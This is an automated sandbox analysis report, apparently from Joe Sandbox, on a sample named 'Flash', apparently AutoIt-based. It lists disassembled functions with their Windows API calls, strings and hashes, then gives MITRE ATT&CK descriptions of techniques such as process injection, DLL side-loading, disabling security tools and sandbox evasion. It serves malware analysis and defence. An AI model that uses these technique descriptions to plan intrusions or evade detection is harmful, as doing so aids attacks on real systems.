Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 003e439d80bc855803e0b5f64680bec08e2cb2bf3e3436a4ea8ae94a7594037c
Instruction ID: 36640a376949b6fb317519cc81acc06371d92298039c7e1eb0790c63fc6c2257
Opcode Fuzzy Hash: 003e439d80bc855803e0b5f64680bec08e2cb2bf3e3436a4ea8ae94a7594037c
Instruction Fuzzy Hash: FB119072310608BFEF119F54DC81EBB3B7AFB883A5F504525FD149B290D6719C558760

Function 00A5722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 009D2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009D214F
Part of subcall function 009D2111: GetStockObject.GDI32(00000011), ref: 009D2163
Part of subcall function 009D2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 009D216D

GetWindowRect.USER32(00000000,?), ref: 00A57296
GetSysColor.USER32(00000012), ref: 00A572B0

Strings

static, xrefs: 00A57273

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 8f23888dd0c34f03d18776d3a5f8897ddad7fa4a8e43ef9d39bb8d3e7d9600f4
Instruction ID: 4b3b1cc6ae6ad6e4cc560a853ac28b92daf236859f0ff4978f4d725492901af2
Opcode Fuzzy Hash: 8f23888dd0c34f03d18776d3a5f8897ddad7fa4a8e43ef9d39bb8d3e7d9600f4
Instruction Fuzzy Hash: BA21447261420AAFDB04DFA8DC46EFE7BB8FB08305F004619FD55E3241E675A8919B60

Function 00A56F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00A56FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00A56FD6

Strings

edit, xrefs: 00A56FAB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 8f6dfb370e04388a28df97c3bf43abb63032e8c116585432e9e22899ed5d28e5
Instruction ID: f96c5d79923ff6aa3de49c9cbe814538d1978ae3cb44dd21615acb7757c8ca16
Opcode Fuzzy Hash: 8f6dfb370e04388a28df97c3bf43abb63032e8c116585432e9e22899ed5d28e5
Instruction Fuzzy Hash: 2A116A71904208ABEB518FA4EC80EEB3B6AFB14369F904714FD65931E0C771DC999B60

Function 00A33156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A331C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00A331E8

Strings

0, xrefs: 00A331BF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a6c011647c3f4690fb9829a562e42716c39874fe8b36ca01749b905d344e2b4f
Instruction ID: 771d5fb1701837bb8a0a43c4223901cf7f10f71634a71eda11bc7a84455e38ee
Opcode Fuzzy Hash: a6c011647c3f4690fb9829a562e42716c39874fe8b36ca01749b905d344e2b4f
Instruction Fuzzy Hash: D8110433A18114ABDF20DB98DC45BAEB7B8AB05710F144323F806A72A0D770EF05CB91

Function 00A428A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00A428F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00A42921

Strings

<local>, xrefs: 00A428E9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 532a00d93ae413628032290e127449325ed50d9d9df637f35dc8fef6fcb18e6e
Instruction ID: 8ac7f69934d6a5c70b7e5899d9b85c3b880ee16a591a8acfb8ecfe3095eb035a
Opcode Fuzzy Hash: 532a00d93ae413628032290e127449325ed50d9d9df637f35dc8fef6fcb18e6e
Instruction Fuzzy Hash: 4911E078501225BAEB248F518C88FFBFBACFF45351F50852AF50582000E3B06890D7F0

Function 00A48475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A486E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00A4849D,?,00000000,?,?), ref: 00A486F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00A484A0
htons.WSOCK32(00000000,?,00000000), ref: 00A484DD

Strings

255.255.255.255, xrefs: 00A484B8

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e87d59c067f4ccd85772aea0bedb6c1bb33c2dbd6d4e319aed6bb3dd6b337ed4
Instruction ID: 91496a6e08348eae318f2f3d6397d516f9d1f5833044d00698a8b951573aae71
Opcode Fuzzy Hash: e87d59c067f4ccd85772aea0bedb6c1bb33c2dbd6d4e319aed6bb3dd6b337ed4
Instruction Fuzzy Hash: 6D11C43920021AABDB10EF64EC46FBEB334FF44320F10856AFA15972D1DB71A810C795

Function 00A299BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00A29A2B

Strings

ComboBox, xrefs: 00A299CA
ListBox, xrefs: 00A299F5

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: e4dd9c5efdb2a131c41132de750073dd6d46472a9156c85c1ef9cf0ddbce1fd1
Instruction ID: c80e0e18d1eb73fdb238672c7256eb820fdc52ea2df0e03d969a9c21570a630d
Opcode Fuzzy Hash: e4dd9c5efdb2a131c41132de750073dd6d46472a9156c85c1ef9cf0ddbce1fd1
Instruction Fuzzy Hash: D901F571A42224AB8B14EBA8CD52DFF7369AF52360F100A29F871932D1DA305C488660

Function 00A3934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A39367
__fread_nolock.LIBCMT ref: 00A3937C

Strings

EA06, xrefs: 00A393AE

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 2888a63af5caaf7dcf3c1e9e4de81c21597820c23d91385bb760cc5164627022
Instruction ID: 47676a743dd6cd5c3695a44d6e4cccd551c6761cb4b4162c702ca8b371160d61
Opcode Fuzzy Hash: 2888a63af5caaf7dcf3c1e9e4de81c21597820c23d91385bb760cc5164627022
Instruction Fuzzy Hash: F301B972904258BEDB18C7A8C856FFE7BF89B15301F04459EF652D6181E5B5A6088760

Function 00A298B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00A29923

Strings

ComboBox, xrefs: 00A298C2
ListBox, xrefs: 00A298ED

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: b951985107c6563dedbf4df2ab6e3f4d9bf18ea785cea06212fc311f6938dcf0
Instruction ID: e4943a3bfc04313e244128c5368d41bc6c951f5c22acfda6c659116390b30f0d
Opcode Fuzzy Hash: b951985107c6563dedbf4df2ab6e3f4d9bf18ea785cea06212fc311f6938dcf0
Instruction Fuzzy Hash: 85012B71E421147FCB14FBA4DA52FFF73BC9F51700F100039B851A3291DA205E4896B1

Function 00A2993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00A299A6

Strings

ComboBox, xrefs: 00A29947
ListBox, xrefs: 00A29972

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 611fa8e9cc5f47015a749ab4e4fae1a87339f79b605cae382b2bf98a403e00ef
Instruction ID: d5e13bae3ed4d7b5b7ea04f0989cc3ff5e11c27b2a7c2a9b6162504f3ada452a
Opcode Fuzzy Hash: 611fa8e9cc5f47015a749ab4e4fae1a87339f79b605cae382b2bf98a403e00ef
Instruction Fuzzy Hash: 4D0126B2A421187BCB15EBA8DB12FFF73AD9F11750F100039B851A3292DA244E4896B1

Function 00A354E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00A35501
_wcscmp.LIBCMT ref: 00A35513

Strings

#32770, xrefs: 00A3550D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 69b6e481a48073ee108630c8e9ef0fc4540cdcce328034962a74ad22b2459939
Instruction ID: eb7d337fd7e3b8fbf4daf5d95e96c01830dff4972249b0420e293cd7aa8c9115
Opcode Fuzzy Hash: 69b6e481a48073ee108630c8e9ef0fc4540cdcce328034962a74ad22b2459939
Instruction Fuzzy Hash: 12E09B7260022927D710E699AC45FA7F7ACEB55761F000057F904D6051E960A94587E0

Function 00A28892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00A288A0

Part of subcall function 009F3588: _doexit.LIBCMT ref: 009F3592

Strings

Error allocating memory., xrefs: 00A28899
AutoIt, xrefs: 00A28894

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: a2876f403c66816f33c445e83147d853a1aa9f9f0e48d0b68770b1bf20a85287
Instruction ID: 14a7bbe5bd6343fa555b5290f30e05bdc09b5c368a8c1d0bbba0a5b92149af7a
Opcode Fuzzy Hash: a2876f403c66816f33c445e83147d853a1aa9f9f0e48d0b68770b1bf20a85287
Instruction Fuzzy Hash: 7DD05B7238535C32D21577E96C0BFDA7A488B45B51F044426FB08651D38ED599E143D5

Function 00A0B4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A0B544: _memset.LIBCMT ref: 00A0B551

Part of subcall function 009F0B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00A0B520,?,?,?,009D100A), ref: 009F0B79

IsDebuggerPresent.KERNEL32(?,?,?,009D100A), ref: 00A0B524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,009D100A), ref: 00A0B533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00A0B52E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: ded29c0ec92347b62102c5d67314685579ac2419999dd4374509c04ef69d804c
Instruction ID: e08d3d32c378e008be26897233c887901a0611f40ea864de8a02add540f243ac
Opcode Fuzzy Hash: ded29c0ec92347b62102c5d67314685579ac2419999dd4374509c04ef69d804c
Instruction Fuzzy Hash: D3E06D702503158FD730DF79EA08B867AE4AF04705F00C95EE456C6381DBB4E544CBA1

Function 00A10251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00A10091

Part of subcall function 00A4C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00A1027A,?), ref: 00A4C6E7
Part of subcall function 00A4C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00A4C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00A10289

Strings

WIN_XPe, xrefs: 00A100A4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 4417d0a1f4dec466da22749d8625fcdcb3d34a731acb52591fa83a1f4279f6af
Instruction ID: 586efa66deecd240d77cd234265525ee7be9b87e10868127bce19aaec0da3992
Opcode Fuzzy Hash: 4417d0a1f4dec466da22749d8625fcdcb3d34a731acb52591fa83a1f4279f6af
Instruction Fuzzy Hash: 91F0C971845109DFCB55DBA0C998FEDBBB8AF4C300F245486E14AA2190CBB54FC5DF21

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
